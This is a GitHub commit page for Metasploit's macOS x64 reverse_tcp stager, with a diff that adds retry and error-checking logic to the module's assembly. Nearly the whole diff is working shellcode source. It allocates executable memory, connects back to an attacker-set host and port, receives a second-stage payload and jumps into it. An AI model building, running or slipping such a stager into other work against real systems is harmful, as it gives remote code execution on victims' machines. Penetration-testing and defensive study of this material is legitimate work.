Skip to content

Commit beda2d1

Browse files
committed
add retries and error checking to osx stager
1 parent 46a4555 commit beda2d1

File tree

1 file changed

+80
-40
lines changed

1 file changed

+80
-40
lines changed

modules/payloads/stagers/osx/x64/reverse_tcp.rb

Lines changed: 80 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -27,61 +27,101 @@ def initialize(info = { })
2727
def generate(opts = {})
2828
encoded_port = "%.8x" % [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
2929
encoded_host = "%.8x" % Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
30+
retry_count = datastore['StagerRetryCount']
31+
seconds = datastore['StagerRetryWait']
32+
sleep_seconds = seconds.to_i
33+
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
34+
3035
stager_asm = %(
31-
mov rcx, ~0x#{encoded_host}#{encoded_port}
32-
not rcx
33-
push rcx
34-
xor ebp, ebp
35-
bts ebp, 25
36+
; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)
37+
push 0
38+
pop rdi
39+
push 0x1000
40+
pop rsi
41+
push 7
42+
pop rdx
43+
push 0x1002
44+
pop r10
45+
push 0
46+
pop r8
47+
push 0
48+
pop r9
49+
push 0x20000c5
50+
pop rax
51+
syscall
52+
jb failed
53+
54+
mov r12, rax
55+
push 0
56+
pop r10
57+
push #{retry_count}
58+
pop r11
3659
60+
socket:
3761
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
38-
push rbp
39-
pop rax
40-
cdq ; rdx=IPPROTO_IP
41-
push 1
42-
pop rsi ; rsi=SOCK_STREAM
4362
push 2
4463
pop rdi ; rdi=AF_INET
45-
mov al, 97
64+
push 1
65+
pop rsi ; rsi=SOCK_STREAM
66+
push 0
67+
pop rdx ; rdx=IPPROTO_IP
68+
push 0x2000061
69+
pop rax
4670
syscall
47-
48-
mov r13, rax
49-
xchg eax, edi ; edi=s
50-
xchg eax, esi ; esi=2
71+
jb retry
5172
5273
; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);
53-
push rbp
54-
pop rax
74+
mov rdi, rax
75+
mov rax, ~0x#{encoded_host}#{encoded_port}
76+
not rax
77+
push rax
5578
push rsp
5679
pop rsi
57-
mov dl, 16 ; rdx=sizeof(sa)
58-
mov al, 98 ; rax=sys_connect
80+
push 16
81+
pop rdx
82+
push 0x2000062
83+
pop rax
5984
syscall
85+
jb retry
6086
61-
; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)
62-
pop r11
63-
mov rsi, r11
64-
xor rdi, rdi
65-
mov rsi, 0x1000
66-
mov eax, 0x20000c5
67-
mov edx, 7
68-
mov r10, 0x1002
69-
xor r8, r8
70-
xor r9, r9
87+
; recvfrom(sockfd, addr, 0x1000)
88+
mov rsi, r12
89+
push 0x1000
90+
pop rdx
91+
push 0x200001d
92+
pop rax
7193
syscall
94+
jb retry
7295
73-
; recvfrom(0x3, addr, 0x1000)
74-
mov rsi, rax
75-
push rsi
76-
mov rdi, r13
77-
xor rcx, rcx
78-
mov rdx, 0x1000
79-
xor r10, r10
80-
xor r8, r8
81-
mov eax, 0x200001d
82-
syscall
96+
call r12
97+
98+
retry:
99+
dec r11
100+
jz failed
101+
102+
push 0
103+
pop rdi
104+
push 0
105+
pop rsi
106+
push 0
107+
pop rdx
108+
push 0
109+
pop r10
110+
push 0x#{sleep_nanoseconds.to_s(16)}
111+
push 0x#{sleep_seconds.to_s(16)}
112+
push rsp
113+
pop r8
114+
push 0x200005d
83115
pop rax
84-
call rax
116+
syscall
117+
jmp socket
118+
119+
failed:
120+
push 0x2000001
121+
pop rax
122+
push 0x1
123+
pop rdi
124+
syscall ; exit(1)
85125
)
86126

87127
Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string

0 commit comments

Comments
 (0)